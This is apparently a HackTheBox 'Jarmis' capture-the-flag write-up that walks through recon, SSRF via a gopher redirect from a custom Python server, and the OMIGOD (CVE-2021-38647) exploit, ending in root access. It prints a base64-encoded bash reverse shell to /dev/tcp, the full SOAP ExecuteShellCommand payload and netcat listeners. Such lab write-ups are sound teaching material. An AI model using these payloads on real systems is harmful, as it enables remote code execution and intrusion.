HackTheBox Jarmis Writeup
Explore the fundamentals of cybersecurity in the Jarmis Capture The Flag (CTF) challenge, a hard-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.
Add Hosts#
10.10.11.117 jarmis.htb
Script to add hosts automatically#
ip="10.10.11.117"
domain="jarmis.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts
Mapping#
nmap -sCV jarmis.htb -Pn
Nmap scan report for jarmis.htb (10.10.11.117)
Host is up (0.071s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
| 256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Jarmis
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
dirb http://jarmis.htb/
- API Information: http://jarmis.htb/openapi.json
- Swagger UI: http://jarmis.htb/docs
Iterate over all ids and filter malicious ones
for id in {1..300}; do
curl -s -X 'GET' \
"http://jarmis.htb/api/v1/search/id/$id" \
-H 'accept: application/json' | jq 'select(.ismalicious == true)'
done
If you are on Arch Linux, install nmap-netcat, which includes the -ssl option (unlike the simpler gnu-netcat):
sudo nc -lvnp 443 --ssl
Navigate to http://jarmis.htb/ and select Fetch Jarm. Input https://<vpn-ip>, which will display the message:
"note": "Ncat?"
Now, let’s use Metasploit to listen:
sudo msfconsole -x "use auxiliary/server/capture/http; set srvport 443; set SSL true; run"
Run the command above, then resend https://<vpn-ip> in the Fetch Jarm section.
You should receive the response:
"note": "Metasploit?"
Routing 8443 to 443 for Connection Back#
Flush Existing Rules:
sudo iptables -t nat -FRedirect Traffic:
sudo iptables -I PREROUTING -t nat -p tcp --dport 443 -d <vpn-ip> -m statistic --mode nth --every 11 --packet 10 -j REDIRECT --to-port 8443Start Listeners:
- Start a listener on port 443:
sudo nc -lvnp 443 --ssl - Start a listener on port 8443:
sudo nc -lvnp 8443 --ssl
- Start a listener on port 443:
Fetch Jarm: Navigate to Fetch Jarm and input
https://<vpn-ip>.
You will receive a GET request on port 8443. With this setup, you can send the OMIgod payload through that channel.
Local Open Ports#
ffuf -u 'http://jarmis.htb/api/v1/fetch?endpoint=http://localhost:FUZZ' -w <(seq 1 65535) -fs 109
22 [Status: 200, Size: 117, Words: 1, Lines: 1, Duration: 223ms]
80 [Status: 200, Size: 117, Words: 1, Lines: 1, Duration: 135ms]
5986 [Status: 200, Size: 119, Words: 1, Lines: 1, Duration: 199ms]
8001 [Status: 200, Size: 119, Words: 1, Lines: 1, Duration: 466ms]
SSRF Omigod Using Gopher#
The exploit can be found at https://github.com/horizon3ai/CVE-2021-38647/blob/main/omigod.py.
Using Gopher allows for directly embedding headers in the URL, making it easier to weaponize and bypass restrictions.
- First, run Burp Suite on port 8080 (default).
- Intercept the OMIgod payload packet by configuring the OMIgod exploit to route through Burp Suite.
wget https://raw.githubusercontent.com/horizon3ai/CVE-2021-38647/refs/heads/main/omigod.py
sed -i "s/, verify=False/, verify=False, proxies={'https':'http:\/\/localhost:8080'}/" omigod.py
ip=$(ip a | grep -A 2 "tun0:" | grep -oP '(?<=inet\s)\d+(\.\d+){3}')
python3 omigod.py -t "$ip" -c "echo -n $(echo -n "bash -i >& /dev/tcp/$ip/9001 0>&1" | base64 -w 0) | base64 -d | bash"
rm -rf omigod.py
OMIGOD payload intercepted through Burp Suite.
POST /wsman HTTP/1.1
Host: 10.10.14.8:5986
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Content-Type: application/soap+xml;charset=UTF-8
Content-Length: 1728
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema">
<s:Header>
<a:To>HTTP://192.168.1.1:5986/wsman/</a:To>
<w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>
<a:ReplyTo>
<a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
</a:ReplyTo>
<a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteShellCommand</a:Action>
<w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize>
<a:MessageID>uuid:0AB58087-C2C3-0005-0000-000000010000</a:MessageID>
<w:OperationTimeout>PT1M30S</w:OperationTimeout>
<w:Locale xml:lang="en-us" s:mustUnderstand="false" />
<p:DataLocale xml:lang="en-us" s:mustUnderstand="false" />
<w:OptionSet s:mustUnderstand="true" />
<w:SelectorSet>
<w:Selector Name="__cimnamespace">root/scx</w:Selector>
</w:SelectorSet>
</s:Header>
<s:Body>
<p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
<p:command>echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC44LzkwMDEgMD4mMQ== | base64 -d | bash</p:command>
<p:timeout>0</p:timeout>
</p:ExecuteShellCommand_INPUT>
</s:Body>
</s:Envelope>
Flush the existing iptables rules and redirect traffic:
sudo iptables -t nat -F
sudo iptables -I PREROUTING -t nat -p tcp --dport 443 -d <vpn-ip> -m statistic --mode nth --every 11 --packet 10 -j REDIRECT --to-port 8443
sudo nc -lvnp 443 --ssl
Start a listener on a different port:
nc -lvnp 9001
Python Server to Send the OMIGOD Payload:
In the intercepted Burp payload:
- Increment the
Content-Lengthby 2, as this is a requirement for Gopher requests. - Select all, right-click, and choose Convert Selection > URL > URL Encode All Chars.
- Change
omigod-payloadin the Python server below:
#!/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
import os
import subprocess
key_path = '/tmp/key.pem'
cert_path = '/tmp/cert.pem'
if not os.path.exists(key_path) or not os.path.exists(cert_path):
subprocess.run(['openssl', 'req', '-x509', '-newkey', 'rsa:4096', '-keyout', key_path, '-out', cert_path, '-days', '365', '-nodes'])
payload = '<omigod-payload>'
class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET request received")
self.send_response(301)
self.send_header("Location", f"gopher://127.0.0.1:5985/_{payload}" + '%0d%0a')
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(certfile=cert_path, keyfile=key_path)
httpd = HTTPServer(('0.0.0.0', 8443), MainHandler)
httpd.socket = context.wrap_socket(httpd.socket, server_side=True)
print("Serving on https://0.0.0.0:8443")
httpd.serve_forever()
Run the following commands to get a shell:
nano rce
chmod +x rce
./rce
Navigate to http://jarmis.htb/ and select Fetch Jarm. Input https://<vpn-ip>.
Finally, read the flags:
cat /home/htb/user.txt
cat /root/root.txt